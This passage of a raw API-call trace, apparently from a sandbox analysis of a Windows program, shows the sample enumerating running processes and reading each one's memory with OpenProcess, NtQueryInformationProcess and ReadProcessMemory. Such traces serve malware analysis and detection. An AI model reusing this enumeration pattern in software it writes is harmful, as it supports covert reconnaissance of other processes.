_Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.873] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0343.873] CloseHandle (hObject=0x0) returned 0 [0343.873] _ui64tow_s (in: _Value=0x48, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="72") returned 0x0 [0343.874] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="72") returned 2 [0343.874] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.874] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.875] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x48) returned 0x0 [0343.875] CloseHandle (hObject=0x0) returned 0 [0343.875] _ui64tow_s (in: _Value=0x164, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="356") returned 0x0 [0343.875] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="356") returned 3 [0343.875] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.875] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.876] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x164) returned 0x0 [0343.878] CloseHandle (hObject=0x0) returned 0 [0343.878] _ui64tow_s (in: _Value=0x1c4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="452") returned 0x0 [0343.878] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="452") returned 3 [0343.879] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.879] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.882] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x0 [0343.882] CloseHandle (hObject=0x0) returned 0 [0343.883] _ui64tow_s (in: _Value=0x208, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="520") returned 0x0 [0343.883] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="520") returned 3 [0343.883] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.883] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.884] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x208) returned 0x0 [0343.884] CloseHandle (hObject=0x0) returned 0 [0343.884] _ui64tow_s (in: _Value=0x210, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0343.885] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="528") returned 3 [0343.885] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.885] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.886] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x0 [0343.886] CloseHandle (hObject=0x0) returned 0 [0343.886] _ui64tow_s (in: _Value=0x24c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="588") returned 0x0 [0343.886] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="588") returned 3 [0343.886] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.886] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.887] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x24c) returned 0xa9c [0343.887] GetLastError () returned 0x0 [0343.887] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0343.887] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0343.887] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0343.888] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581f00, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0343.888] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c00, lpBuffer=0x5ec5a0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0343.888] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0343.888] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0343.888] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0343.888] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5815b0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0343.889] malloc (_Size=0x1c) returned 0xecd8a0 [0343.889] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c42, lpBuffer=0xecd8a0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd8a0*, lpNumberOfBytesRead=0x0) returned 1 [0343.889] free (_Block=0xecd8a0) [0343.889] CloseHandle (hObject=0xa9c) returned 1 [0343.889] _ui64tow_s (in: _Value=0x264, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="612") returned 0x0 [0343.889] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="612") returned 3 [0343.889] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.889] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.890] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x264) returned 0x0 [0343.891] CloseHandle (hObject=0x0) returned 0 [0343.891] _ui64tow_s (in: _Value=0x26c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="620") returned 0x0 [0343.891] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="620") returned 3 [0343.891] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.891] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.892] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x26c) returned 0xa9c [0343.892] GetLastError () returned 0x0 [0343.892] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0343.892] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x245018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0343.892] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0343.892] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403b00, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0343.893] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403758, lpBuffer=0x5ec5a0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0343.893] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0343.893] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0343.893] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x245020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0343.893] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403110, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0343.893] malloc (_Size=0x3e) returned 0xea7cf0 [0343.893] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403794, lpBuffer=0xea7cf0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea7cf0*, lpNumberOfBytesRead=0x0) returned 1 [0343.895] free (_Block=0xea7cf0) [0343.944] CloseHandle (hObject=0xa9c) returned 1 [0343.944] _ui64tow_s (in: _Value=0x2cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="716") returned 0x0 [0343.945] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="716") returned 3 [0343.945] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.945] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.946] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0xa9c [0343.946] GetLastError () returned 0x0 [0343.946] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0343.946] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xd14018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0343.946] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0343.946] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf923a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0343.946] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf92058, lpBuffer=0x5ec5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0343.947] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0343.947] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0343.948] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xd14020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0343.948] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf91a10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0343.948] malloc (_Size=0x26) returned 0xecd870 [0343.948] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf920a0, lpBuffer=0xecd870, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd870*, lpNumberOfBytesRead=0x0) returned 1 [0343.949] free (_Block=0xecd870) [0343.949] CloseHandle (hObject=0xa9c) returned 1 [0343.950] _ui64tow_s (in: _Value=0x2d4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="724") returned 0x0 [0343.950] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="724") returned 3 [0343.950] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.950] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.951] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d4) returned 0xa9c [0343.951] GetLastError () returned 0x0 [0343.951] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0343.951] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x83d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0343.951] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0343.951] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae23a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0343.952] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae2058, lpBuffer=0x5ec5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0343.952] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0343.952] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0343.952] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x83d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0343.952] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae1a10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0343.952] malloc (_Size=0x26) returned 0xecd420 [0343.952] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae20a0, lpBuffer=0xecd420, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd420*, lpNumberOfBytesRead=0x0) returned 1 [0343.953] free (_Block=0xecd420) [0343.953] CloseHandle (hObject=0xa9c) returned 1 [0343.953] _ui64tow_s (in: _Value=0x310, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="784") returned 0x0 [0343.954] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="784") returned 3 [0343.956] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.956] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.957] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x310) returned 0xa9c [0343.957] GetLastError () returned 0x0 [0343.957] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0343.957] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0343.957] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0343.957] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0343.957] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0343.958] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0343.959] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0343.959] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0343.959] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0343.959] malloc (_Size=0x64) returned 0xeb6700 [0343.959] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb6700, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0343.960] free (_Block=0xeb6700) [0343.960] CloseHandle (hObject=0xa9c) returned 1 [0343.960] _ui64tow_s (in: _Value=0x340, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="832") returned 0x0 [0343.962] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="832") returned 3 [0343.962] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.962] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.963] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x340) returned 0xa9c [0343.963] GetLastError () returned 0x0 [0343.963] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0343.963] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c5018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0343.963] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0343.963] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d50, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0343.964] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039b8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0343.975] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0343.975] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0343.975] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c5020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0343.975] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403370, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0343.975] malloc (_Size=0x5a) returned 0xeb6770 [0343.975] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039f8, lpBuffer=0xeb6770, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6770*, lpNumberOfBytesRead=0x0) returned 1 [0343.976] free (_Block=0xeb6770) [0343.976] CloseHandle (hObject=0xa9c) returned 1 [0343.977] _ui64tow_s (in: _Value=0x398, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="920") returned 0x0 [0343.977] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="920") returned 3 [0343.977] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.977] _vsnwprintf (in: 